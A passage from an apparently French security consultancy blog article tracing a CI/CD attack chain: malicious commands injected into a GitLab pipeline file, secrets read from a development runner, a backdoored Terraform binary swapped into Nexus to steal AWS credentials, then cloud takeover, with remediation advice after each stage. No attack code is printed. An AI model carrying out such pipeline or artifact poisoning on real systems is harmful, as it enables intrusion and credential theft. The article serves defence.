<p style="text-align: justify;"><em><u>Appliquer des politiques d’accès strictes et réduire l’exposition réseau</u></em></p>
<ul style="text-align: justify;">
<li>Eviter l’utilisation des <strong>comptes génériques ou partagés</strong>,</li>
<li>Utiliser des <strong>identités développeurs dédiées</strong>, séparées des comptes bureautiques standards (messagerie et outils collaboratifs), afin de réduire l’exposition au phishing et l’impact d’une compromission dans les environnements CI/CD,</li>
<li><strong>Imposer des mécanismes MFA résistants au phishing</strong> (clés FIDO2, certificats, etc),</li>
<li><strong>Mettre en place des politiques d’accès conditionnel</strong> basées sur des critères contextuels (localisation réseau, conformité des appareils).</li>
</ul>
<p style="text-align: justify;"><em><u>Mettre en place des mécanismes de détection de persistance</u></em></p>
<ul style="text-align: justify;">
<li><strong>Surveiller</strong> la création ou l’utilisation suspecte de <strong>PAT</strong> dans GitLab, ainsi que les activités anormales (ex. <strong>déploiements à des horaires inhabituels</strong>),</li>
<li>Surveiller l’ajout de <strong>nouvelles méthodes d’authentification dans Entra ID</strong>, notamment les méthodes sans mot de passe, après un événement de phishing.</li>
</ul>
<p style="text-align: justify;"><em><u>Réviser périodiquement les accès et supprimer les comptes inutilisés</u></em></p>
<ul>
<li style="text-align: justify;">Désactiver ou supprimer les <strong>comptes inutilisés ou inactifs,</strong></li>
<li style="text-align: justify;">Révoquer les accès des <strong>collaborateurs sortis de l’organisation</strong> sur tous les systèmes,</li>
<li style="text-align: justify;">Réaliser des revues d’accès périodiques, <strong>au minimum tous les six mois</strong> pour les <strong>utilisateurs</strong> <strong>à risque élevé.</strong></li>
</ul>
<p> </p>
<h3>Compromission des dépôts de code et des <em>pipelines</em></h3>
<p style="text-align: justify;"><strong>Les dépôts de code</strong> sont souvent <strong>directement intégrés aux <em>pipelines</em> CI/CD</strong>, ce qui signifie que toute modification du code peut déclencher automatiquement des processus de <em>build</em> et de déploiement. Ainsi, la compromission d’un compte développeur peut influencer la manière dont les applications sont construites et déployées.</p>
<p style="text-align: justify;">Pour <strong>réduire le risque de modifications non autorisées en production</strong>, les organisations <strong>protègent</strong> généralement les <strong>branches de production</strong> (ex. main ou master) via des <em>pull requests</em>, des validations et des contrôles automatisés. En revanche, les <strong>branches de développement</strong> sont souvent <strong>moins strictement contrôlées</strong> afin de favoriser la rapidité de développement et de test.</p>
<p style="text-align: justify;">Dans le scénario observé, l’attaquant <strong>cible la branche de développement</strong> et modifie le fichier de configuration du <em>pipeline</em> (gitlab-ci.yml), en y injectant <strong>une commande malveillante</strong> (visant à établir un accès distant) au sein d’un <strong><em>job</em> existant</strong>. Lors de l&rsquo;exécution du <em>pipeline</em>, cette commande est exécutée sur le <em>runner</em> CI/CD, ce qui permet à l&rsquo;attaquant d&rsquo;obtenir un accès distant à ce dernier.</p>
<figure id="attachment_30336" aria-describedby="caption-attachment-30336" style="width: 911px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-30336" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/4-Etablissement-dun-acces-distant-depuis-lenvironnement-dexecution-CICD.png" alt="Établissement d’un accès distant depuis l’environnement d’exécution CICD" width="911" height="574" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/4-Etablissement-dun-acces-distant-depuis-lenvironnement-dexecution-CICD.png 911w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/4-Etablissement-dun-acces-distant-depuis-lenvironnement-dexecution-CICD-303x191.png 303w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/4-Etablissement-dun-acces-distant-depuis-lenvironnement-dexecution-CICD-62x39.png 62w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/4-Etablissement-dun-acces-distant-depuis-lenvironnement-dexecution-CICD-768x484.png 768w" sizes="auto, (max-width: 911px) 100vw, 911px" /><figcaption id="caption-attachment-30336" class="wp-caption-text">Établissement d’un accès distant depuis l’environnement d’exécution CICD</figcaption></figure>
<p style="text-align: justify;"><strong>Une fois dans le <em>runner</em> CI/CD</strong>, l’attaquant peut alors <strong>exécuter du code arbitraire sur le <em>runner </em>CI/CD</strong> et, entre autres, énumérer les variables d’environnement contenant des <strong>paramètres de configurations et les secrets définis dans le projet GitLab</strong>.</p>
<p style="text-align: justify;">Cependant, il arrive que certains <strong>composants</strong> de la chaîne CI/CD <strong>ne sont pas dupliqués entre environnements</strong> pour des <strong>raisons de coûts. </strong>Dans ce cas précis, les secrets GitLab ne sont pas segmentés entre les environnements de production et de développement. Ainsi l’attaquant est en capacité de<strong> lister les secrets de production depuis le <em>runner </em>CI/CD de développement</strong>.</p>
<p style="text-align: justify;">Un exemple de <strong>variables</strong> <strong>d’environnement</strong> rencontrées dans les <em>pipelines</em> CI/CD est présenté ci-dessous.</p>
<figure id="attachment_30338" aria-describedby="caption-attachment-30338" style="width: 911px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-30338" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/5-Exemple-de-variables-de-production-accessibles-depuis-un-environnement-de-developpement.png" alt="Exemple de variables de production accessibles depuis un environnement de développement" width="911" height="404" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/5-Exemple-de-variables-de-production-accessibles-depuis-un-environnement-de-developpement.png 911w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/5-Exemple-de-variables-de-production-accessibles-depuis-un-environnement-de-developpement-431x191.png 431w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/5-Exemple-de-variables-de-production-accessibles-depuis-un-environnement-de-developpement-71x31.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/5-Exemple-de-variables-de-production-accessibles-depuis-un-environnement-de-developpement-768x341.png 768w" sizes="auto, (max-width: 911px) 100vw, 911px" /><figcaption id="caption-attachment-30338" class="wp-caption-text">Exemple de variables de production accessibles depuis un environnement de développement</figcaption></figure>
<p style="text-align: justify;">Ce flux d’attaque montre comment la manipulation de <em>pipeline</em> permet l’exécution de code dans le <em>runner</em> et l’extraction de variables sensibles de production depuis un environnement de développement.</p>
<figure id="attachment_30340" aria-describedby="caption-attachment-30340" style="width: 911px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-30340" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/6-Manipulation-du-depot-de-code.png" alt="Manipulation du dépôt de code" width="911" height="396" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/6-Manipulation-du-depot-de-code.png 911w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/6-Manipulation-du-depot-de-code-437x191.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/6-Manipulation-du-depot-de-code-71x31.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/6-Manipulation-du-depot-de-code-768x334.png 768w" sizes="auto, (max-width: 911px) 100vw, 911px" /><figcaption id="caption-attachment-30340" class="wp-caption-text">Manipulation du dépôt de code</figcaption></figure>
<p style="text-align: justify;">Parmi les identifiants récupérés dans l&rsquo;environnement CI/CD compromis<strong>, l&rsquo;attaquant obtient un jeton d&rsquo;accès à Nexus, système de gestion d&rsquo;artefacts</strong> utilisé pour stocker et distribuer les artefacts de <em>build</em> de confiance consommés par les pipelines situés en aval.</p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;"><strong><u>REMÉDIATION – Durcir la sécurité des dépôts de code</u></strong></p>
<p style="text-align: justify;">La sécurisation du dépôt de code est essentielle pour empêcher l’exploitation des <em>pipelines</em> CI/CD après un accès initial, car les dépôts contrôlent directement le <em>build</em> et le déploiement.</p>
<p style="text-align: justify;"><em><u>Durcir les dépôts pour limiter les déclenchements de pipeline</u></em></p>
<ul style="text-align: justify;">
<li>Configurer des <strong>branches protégées</strong> pour les branches de déploiement,</li>
<li><strong>Mettre en place des workflows d’approbation multi-niveaux</strong> pour les <em>merge requests</em> déclenchant des <em>pipelines</em> et <strong>interdire</strong> <strong>l’auto-approbation</strong>,</li>
<li>Utiliser la <strong>propriété du code (<em>ownership</em>)</strong> pour <strong>assigner</strong> et <strong>exiger</strong> <strong>l’approbation</strong> des <strong>responsables</strong> désignés sur les <strong>fichiers</strong> <strong>sensibles</strong> (ex. configuration CI/CD).</li>
</ul>
<p style="text-align: justify;"><em><u>Limiter la visibilité et les permissions</u></em></p>
<ul style="text-align: justify;">
<li><strong>Limiter les droits d’écriture</strong> aux seuls utilisateurs qui en ont besoin,</li>
<li><strong>Restreindre la visibilité des projets</strong> selon le <strong>principe du besoin de savoir</strong> (interne ou privé recommandé).</li>
</ul>
<p style="text-align: justify;"><em><u>Mettre en place une bonne hygiène de gestion des secrets</u></em></p>
<ul style="text-align: justify;">
<li><strong>Configurer des secrets CI/CD scopés au niveau projet</strong> et privilégier des identifiants éphémères,</li>
<li><strong>Détecter les secrets en clair le plus tôt possible</strong> (au moment du <em>commit</em> ou avant la publication du code) et les révoquer immédiatement en cas d’exposition,</li>
<li>Réaliser <strong>des revues périodiques</strong> (ex. audits internes, exercices de red team) sur des plateformes telles que les dépôts Git, Jira ou Confluence afin d&rsquo;identifier d&rsquo;éventuelles fuites de secrets passées inaperçues.</li>
</ul>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;"><strong><u>REMÉDIATION – Renforcer la sécurité des <em>runners</em> auto-hébergés</u></strong></p>
<p style="text-align: justify;">Les <em>runners</em> sont des composants critiques des <em>pipelines</em> CI/CD car ils exécutent le code et manipulent des données sensibles. S’ils sont compromis, ils peuvent permettre des mouvements latéraux, l’accès aux secrets ou la prise de contrôle de l’environnement.</p>
<p style="text-align: justify;"><em><u>Réduire l’exposition réseau et le périmètre d’exécution</u></em></p>
<ul style="text-align: justify;">
<li><strong>Restreindre le trafic réseau des <em>runners</em></strong> uniquement à ce qui est nécessaire à l’exécution des pipelines, et appliquer des <strong>contrôles réseau</strong> tels que des <strong><em>proxies</em></strong> et de la <strong>segmentation</strong> afin d’empêcher tout accès Internet non contrôlé et limiter les mouvements latéraux au sein des réseaux internes,</li>
<li><strong>Restreindre les déclenchements</strong> depuis des dépôts non fiables ou personnels.</li>
</ul>
<p style="text-align: justify;"><em><u>Considérer les runners comme des systèmes sensibles</u></em></p>
<ul style="text-align: justify;">
<li>Considérer les <em>runners</em> comme des serveurs critiques (Application régulière des <strong>correctifs</strong> du <strong>système d’exploitation</strong> et <strong>durcissement</strong>),</li>
<li>Déployer des solutions de <strong><em>Endpoint Detection and Response (EDR)</em></strong> pour la surveillance des processus, y compris dans les environnements conteneurisés.</li>
</ul>
<p style="text-align: justify;"><em><u>Utiliser des runners dédiés et éphémères</u></em></p>
<ul style="text-align: justify;">
<li>Privilégier des <strong><em>runners</em> dédiés par projet ou environnement</strong>. Le partage de <em>runners</em> entre plusieurs contextes augmente le risque de contamination inter-projets et d’escalade de privilèges,</li>
<li>Utiliser des <strong><em>runners</em> éphémères / autoscalés</strong> détruits après chaque job,</li>
<li>S’assurer que les <strong><em>runners</em> basés sur VM</strong> soient également <strong>éphémères</strong> et <strong>isolés</strong> afin qu’aucune donnée ou accès résiduel ne persiste entre les exécutions. En complément, s’appuyer <strong>uniquement sur des images de base durcies et de confiance</strong> (par exemple des <strong>golden</strong> <strong>images</strong> pour les <em>runners</em> VM et des images conteneurs approuvées), afin d’éviter toute exécution dans des environnements compromis ou non vérifiés.</li>
</ul>
<p style="text-align: justify;"><em><u>Sécuriser les runners containerisés</u></em></p>
<ul style="text-align: justify;">
<li><strong>N’autoriser que des images approuvées et de confiance dans les exécutions de pipelines</strong> afin d’éviter l’introduction de code malveillant via des images compromises ou non vérifiées,</li>
<li>Appliquer le <strong>principe du moindre privilège</strong> dans les environnements d’exécution conteneurisés,</li>
<li><strong>Éviter le mode privilégié</strong> et supprimer les capacités Linux inutiles,</li>
<li>Utiliser des moteurs de <strong><em>build</em> sécurisés (BuildKit / Buildah)</strong> lorsque le <strong>Docker-in-Docker</strong> est requis.</li>
</ul>
<p style="text-align: justify;"><em><u>Durcir les runners cloud</u></em></p>
<ul>
<li style="text-align: justify;">Lors de l’utilisation de <strong><em>runners</em> managés dans le cloud</strong>, appliquer une <strong>isolation stricte</strong> et un <strong>périmètre d’identité</strong>, <strong>restreindre l’accès aux métadonnées</strong> afin d’éviter l’exposition d’identifiants depuis l’infrastructure sous-jacente, et s’assurer que les rôles CI/CD sont gouvernés par des <strong>politiques IAM strictes en moindre privilège</strong> afin d’éviter des permissions excessives.</li>
</ul>
<p> </p>
<h3>Empoisonnement d’artefacts et attaques sur les dépendances</h3>
<p style="text-align: justify;">Dans les environnements de livraison logicielle, <strong>les systèmes de gestion d’artefacts</strong> stockent et distribuent les <strong>sorties générées par les pipelines CI/CD</strong>. Ces sorties, appelées <strong>artefacts</strong>, représentent les <strong>résultats packagés</strong> du processus de <em>build</em>, tels que des binaires compilés, des packages applicatifs ou des images de déploiement.</p>
<p style="text-align: justify;"><strong>Les artefacts</strong> sont <strong>stockés de manière centralisée</strong> afin d’assurer le versioning, la traçabilité et la réutilisation à travers plusieurs pipelines. En plus des <strong>sorties spécifiques aux applications</strong>, ces dépôts hébergent souvent également des <strong>composants partagés tels que des golden images</strong>, des <strong>bibliothèques réutilisables</strong> ou des <strong>dépendances <em>runtime</em> communes</strong>. Comme ils proviennent de processus de <em>build</em> considérés comme fiables, les <strong>artefacts</strong> sont généralement supposés sûrs et <strong>largement consommés par les pipelines</strong> <strong>en aval</strong> sans validation supplémentaire.</p>
<p style="text-align: justify;">Dans le scénario observé, <strong>l’attaquant</strong> <strong>utilise</strong> des <strong>identifiants</strong> précédemment obtenus pour <strong>s’authentifier</strong> au <strong>dépôt</strong> <strong>d’artefacts</strong> (<strong>Nexus</strong> dans cet exemple) avec des <strong>permissions</strong> <strong>excessives</strong> (lecture/écriture sur plusieurs catégories, plutôt que limitées à un périmètre applicatif unique), et obtient ainsi un accès à la fois aux artefacts de production et aux artefacts partagés.</p>
<p style="text-align: justify;">Parmi ces derniers, l’attaquant identifie un <strong>binaire</strong> <strong>Terraform</strong> <strong>légitime</strong> utilisé dans le processus de déploiement d’infrastructure (appelé ici le <strong>binaire</strong> <strong>tofu</strong>), qui est couramment approuvé et consommé par les pipelines CI/CD pour provisionner et gérer les ressources cloud.</p>
<figure id="attachment_30342" aria-describedby="caption-attachment-30342" style="width: 1394px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-30342" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/7-Binaire-legitime-utilise-pour-le-deploiement-dinfrastructure.png" alt="Binaire légitime utilisé pour le déploiement d’infrastructure" width="1394" height="949" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/7-Binaire-legitime-utilise-pour-le-deploiement-dinfrastructure.png 1394w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/7-Binaire-legitime-utilise-pour-le-deploiement-dinfrastructure-281x191.png 281w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/7-Binaire-legitime-utilise-pour-le-deploiement-dinfrastructure-57x39.png 57w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/7-Binaire-legitime-utilise-pour-le-deploiement-dinfrastructure-768x523.png 768w" sizes="auto, (max-width: 1394px) 100vw, 1394px" /><figcaption id="caption-attachment-30342" class="wp-caption-text">Binaire légitime utilisé pour le déploiement d’infrastructure</figcaption></figure>
<p style="text-align: justify;">L’attaquant <strong>télécharge</strong> <strong>cet artefact localement</strong> et en <strong>modifie le contenu</strong> en injectant une <strong>logique malveillante</strong> tout en conservant sa fonctionnalité d’origine, et y <strong>intègre un comportement caché</strong> conçu pour interagir avec les services <strong>AWS Identity and Access Management (IAM)</strong> et <strong>AWS Security Token Service (STS)</strong> afin de récupérer des identifiants.</p>
<figure id="attachment_30344" aria-describedby="caption-attachment-30344" style="width: 827px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-30344" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/8-Logique-de-gestion-des-identifiants-AWS-IAM-et-STS-dans-le-binaire-Terraform-malveillant.png" alt="Logique de gestion des identifiants AWS IAM et STS dans le binaire Terraform malveillant" width="827" height="716" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/8-Logique-de-gestion-des-identifiants-AWS-IAM-et-STS-dans-le-binaire-Terraform-malveillant.png 827w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/8-Logique-de-gestion-des-identifiants-AWS-IAM-et-STS-dans-le-binaire-Terraform-malveillant-221x191.png 221w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/8-Logique-de-gestion-des-identifiants-AWS-IAM-et-STS-dans-le-binaire-Terraform-malveillant-45x39.png 45w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/8-Logique-de-gestion-des-identifiants-AWS-IAM-et-STS-dans-le-binaire-Terraform-malveillant-768x665.png 768w" sizes="auto, (max-width: 827px) 100vw, 827px" /><figcaption id="caption-attachment-30344" class="wp-caption-text">Logique de gestion des identifiants AWS IAM et STS dans le binaire Terraform malveillant</figcaption></figure>
<p style="text-align: justify;">Le binaire modifié est ensuite <strong>téléversé de nouveau</strong> <strong>dans</strong> <strong>Nexus</strong>, remplaçant la version légitime par un <strong>artefact compromis.</strong></p>
<figure id="attachment_30346" aria-describedby="caption-attachment-30346" style="width: 744px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-30346" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/9-Upload-du-binaire-malveillant.png" alt="Upload du binaire malveillant" width="744" height="613" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/9-Upload-du-binaire-malveillant.png 744w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/9-Upload-du-binaire-malveillant-232x191.png 232w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/9-Upload-du-binaire-malveillant-47x39.png 47w" sizes="auto, (max-width: 744px) 100vw, 744px" /><figcaption id="caption-attachment-30346" class="wp-caption-text">Upload du binaire malveillant</figcaption></figure>
<p style="text-align: justify;">À partir de ce moment, <strong>tout pipeline CI/CD consommant cet artefact</strong> récupère automatiquement le <strong>binaire compromis</strong> lors de la résolution des dépendances, car il est toujours considéré comme fiable.</p>
<figure id="attachment_30348" aria-describedby="caption-attachment-30348" style="width: 911px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-30348" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/10-Telechargement-du-binaire-malveillant-depuis-Nexus.png" alt="Téléchargement du binaire malveillant depuis Nexus" width="911" height="473" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/10-Telechargement-du-binaire-malveillant-depuis-Nexus.png 911w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/10-Telechargement-du-binaire-malveillant-depuis-Nexus-368x191.png 368w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/10-Telechargement-du-binaire-malveillant-depuis-Nexus-71x37.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/10-Telechargement-du-binaire-malveillant-depuis-Nexus-768x399.png 768w" sizes="auto, (max-width: 911px) 100vw, 911px" /><figcaption id="caption-attachment-30348" class="wp-caption-text">Téléchargement du binaire malveillant depuis Nexus</figcaption></figure>
<p style="text-align: justify;">Lors de son exécution, <strong>le binaire compromis active la charge malveillante intégrée</strong>, dont l’objectif est de <strong>récupérer le jeton d’accès AWS</strong> utilisé par le <strong>contexte d’exécution Terraform</strong> et de l’envoyer vers un serveur contrôlé par l’attaquant pour exfiltration. Il génère ensuite une <strong>sortie obfusquée</strong> <strong>encodée en Base32</strong>. Le décodage permet de reconstruire un objet JSON contenant des identifiants AWS (AccessKeyId, SecretAccessKey et SessionToken).</p>
<figure id="attachment_30350" aria-describedby="caption-attachment-30350" style="width: 911px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-30350" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/11-Payload-Base32-decode-revelant-des-identifiants-AWS.png" alt="Payload Base32 décodé révélant des identifiants AWS" width="911" height="494" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/11-Payload-Base32-decode-revelant-des-identifiants-AWS.png 911w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/11-Payload-Base32-decode-revelant-des-identifiants-AWS-352x191.png 352w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/11-Payload-Base32-decode-revelant-des-identifiants-AWS-71x39.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/11-Payload-Base32-decode-revelant-des-identifiants-AWS-768x416.png 768w" sizes="auto, (max-width: 911px) 100vw, 911px" /><figcaption id="caption-attachment-30350" class="wp-caption-text">Payload Base32 décodé révélant des identifiants AWS</figcaption></figure>
<p style="text-align: justify;">L’attaquant configure ensuite ces identifiants localement et utilise <strong>AWS STS</strong> (appel API GetCallerIdentity) pour confirmer l’usurpation d’identité du <em>runner</em> CI/CD.</p>
<figure id="attachment_30352" aria-describedby="caption-attachment-30352" style="width: 910px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-30352" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/12-Acces-AWS.png" alt="Accès AWS" width="910" height="182" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/12-Acces-AWS.png 910w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/12-Acces-AWS-437x87.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/12-Acces-AWS-71x14.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/12-Acces-AWS-768x154.png 768w" sizes="auto, (max-width: 910px) 100vw, 910px" /><figcaption id="caption-attachment-30352" class="wp-caption-text">Accès AWS</figcaption></figure>
<p style="text-align: justify;">Cette illustration montre la chaîne d’attaque : compromission d’artefact, injection de logique malveillante, propagation via les pipelines CI/CD et vol final d’identifiants AWS menant à la compromission de l’environnement.</p>
<figure id="attachment_30354" aria-describedby="caption-attachment-30354" style="width: 911px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-30354" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/13-Compromission-Artifactory-corruption-des-dependances.png" alt="Compromission Artifactory - corruption des dépendances" width="911" height="450" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/13-Compromission-Artifactory-corruption-des-dependances.png 911w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/13-Compromission-Artifactory-corruption-des-dependances-387x191.png 387w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/13-Compromission-Artifactory-corruption-des-dependances-71x35.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/13-Compromission-Artifactory-corruption-des-dependances-768x379.png 768w" sizes="auto, (max-width: 911px) 100vw, 911px" /><figcaption id="caption-attachment-30354" class="wp-caption-text">Compromission Artifactory &#8211; corruption des dépendances</figcaption></figure>
<p style="text-align: justify;">En conséquence, l’attaquant obtient un accès non autorisé aux ressources AWS sous une identité légitime.</p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;"><strong><u>REMÉDIATION – Améliorer la gestion des accès à l’Artifactory</u></strong></p>
<p style="text-align: justify;">Les dépôts d’artefacts tels que Nexus sont des composants clés des pipelines CI/CD utilisés pour stocker et distribuer les dépendances et artefacts de <em>build</em>. Ce sont des cibles à forte valeur pour les attaques de chaîne d’approvisionnement.</p>
<p style="text-align: justify;">La sécurité nécessite des contrôles d’accès forts, une gouvernance des dépendances et une surveillance continue de l’intégrité.</p>
<p style="text-align: justify;"><em><u>Durcir la plateforme d’artefacts</u></em></p>
<ul style="text-align: justify;">
<li><strong>Autoriser une large lecture du dépôt uniquement sous deux conditions :</strong> depuis le service nécessaire (CI/CD) et si une gestion de mots de passe dans les dépendances existe,</li>
<li>Restreindre fortement les <strong>permissions d’écriture,</strong></li>
<li>Modifier les <strong>identifiants par défaut.</strong></li>
</ul>
<p style="text-align: justify;"><em><u>Analyse de composition logicielle (SCA)</u></em></p>
<ul style="text-align: justify;">
<li><strong>Appliquer une analyse de composition logicielle</strong> aux <strong>dépendances internes</strong> (stockées dans des dépôts locaux) ainsi qu’aux <strong>dépendances externes</strong> (récupérées depuis des dépôts distants ou proxy) afin de détecter les vulnérabilités connues et les composants obsolètes.</li>
</ul>
<p style="text-align: justify;"><em><u>Restreindre les sources d’artefacts</u></em></p>
<ul>
<li style="text-align: justify;"><strong>Maintenir une whitelist de dépôts de confiance</strong> afin de garantir que seules des sources approuvées sont utilisées,</li>
<li style="text-align: justify;"><strong>Appliquer des contrôles au niveau des dépôts </strong>pour exclure les versions non approuvées ou vulnérables, par exemple dans Nexus ou via des règles d’exclusion dans <strong>JFrog</strong> Artifactory,</li>
<li style="text-align: justify;"><strong>Empêcher les pipelines CI/CD d’accéder à des sources externes</strong> <strong>non</strong> <strong>fiables</strong> en imposant des frontières strictes entre dépôts.</li>
</ul>
<p> </p>
<h3>Compromission cloud via abus des workloads CI/CD</h3>
<p style="text-align: justify;">Dans les environnements cloud, <strong>les <em>runners</em> CI/CD</strong> sont généralement associés à des <strong>rôles IAM privilégiés</strong> pour effectuer des opérations de déploiement, incluant la création, modification et suppression de ressources d’infrastructure. Ces rôles incluent souvent des <strong>permissions larges</strong> telles que <strong>AdministratorAccess</strong> ou des politiques personnalisées trop permissives, permettant au <em>runner</em> d’interagir avec un large ensemble de services AWS, incluant les services de calcul, le stockage et la gestion des identités.</p>
<p style="text-align: justify;">Lorsqu’un <strong><em>runner</em> CI/CD est compromis</strong>, un attaquant peut <strong>directement abuser de ces privilèges</strong> sans nécessiter d’escalade supplémentaire. Cela peut conduire à un <strong>accès immédiat</strong> à des ressources sensibles telles que des <strong>buckets S3</strong> ou <strong>des bases de données RDS</strong>, permettant <strong>l’exfiltration de données</strong>. L’attaquant peut également exploiter les <strong>permissions</strong> <strong>IAM</strong> pour assumer d’autres rôles dans <strong>d’autres comptes ou projets AWS</strong>, facilitant les mouvements latéraux au sein de l’organisation. En outre, <strong>l’accès aux services de <em>compute</em> </strong>peut être utilisé pour déployer, modifier ou maintenir des charges malveillantes, aboutissant finalement à une <strong>compromission</strong> <strong>complète</strong> de <strong>l’environnement cloud</strong>.</p>
<p> </p>
<h2>De la compromission initiale du développeur à la prise de contrôle cloud : vue complète de la chaîne CI/CD</h2>
<p style="text-align: justify;">la chaîne d’attaque CI/CD commence par la compromission initiale du développeur jusqu’à la prise de contrôle complète de l’environnement cloud.</p>
<p style="text-align: justify;">L’illustration suivante met en évidence <strong>les opportunités clés de détection et de surveillance à travers l’écosystème CI/CD.</strong> Elle montre comment les données de télémétrie de sécurité peuvent être collectées et corrélées tout au long des <strong>différentes étapes de la chaîne d&rsquo;attaque CI/CD</strong>, depuis les <strong>activités de développement </strong>jusqu&rsquo;aux <strong><em>runners</em></strong> <strong>CI/CD</strong>, aux <strong>dépôts d&rsquo;artefacts</strong> et aux <strong>opérations IAM dans le cloud</strong>.</p>
<figure id="attachment_30356" aria-describedby="caption-attachment-30356" style="width: 911px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-30356" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/14-Chaine-dattaque-Detection.png" alt="Chaîne d’attaque - Détection" width="911" height="409" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/14-Chaine-dattaque-Detection.png 911w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/14-Chaine-dattaque-Detection-425x191.png 425w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/14-Chaine-dattaque-Detection-71x32.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/14-Chaine-dattaque-Detection-768x345.png 768w" sizes="auto, (max-width: 911px) 100vw, 911px" /><figcaption id="caption-attachment-30356" class="wp-caption-text">Chaîne d’attaque &#8211; Détection</figcaption></figure>
<p style="text-align: justify;">Dans l’ensemble, bien que les pipelines CI/CD élargissent significativement la surface d’attaque, ils offrent également de multiples points d’interception stratégiques où une journalisation centralisée et une surveillance de sécurité peuvent permettre une détection précoce et une réponse aux activités malveillantes.</p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">En conclusion, pour obtenir <strong>un <em>pipeline</em> CI/CD sécurisé</strong>, la sécurité doit être pensée de bout en bout, des environnements développeurs jusqu’aux systèmes de production.</p>
<p style="text-align: justify;"><strong>Les développeurs sont le premier maillon de la chaîne</strong>, et la sécurisation de leurs comptes est essentielle. Cela doit être complété par de bonnes pratiques telles que la gestion sécurisée des secrets et la sensibilisation régulière à la sécurité.</p>
<p style="text-align: justify;">Il est également crucial d’assurer une <strong>bonne isolation entre environnements</strong> et d’appliquer strictement le <strong>principe du moindre privilège</strong>, aussi bien pour les <strong>utilisateurs</strong> que pour les <strong>comptes</strong> <strong>de</strong> <strong>service</strong>.</p>
<p style="text-align: justify;">Les problèmes de sécurité ne peuvent pas être corrigés par de simples correctifs si la conception globale du <em>pipeline</em> est faible.</p>
<p style="text-align: justify;">Enfin, <strong>les cas d’usage de déploiement</strong> doivent être définis clairement dès le départ, car ils influencent directement l’architecture et les choix IAM.</p>
<p style="text-align: justify;">Au-delà des aspects techniques, <strong>la sécurité CI/CD doit être évaluée en continu via des audits techniques réguliers</strong> ainsi que des <strong>revues organisationnelles</strong> du cycle de développement afin de maintenir les risques sous contrôle.</p>
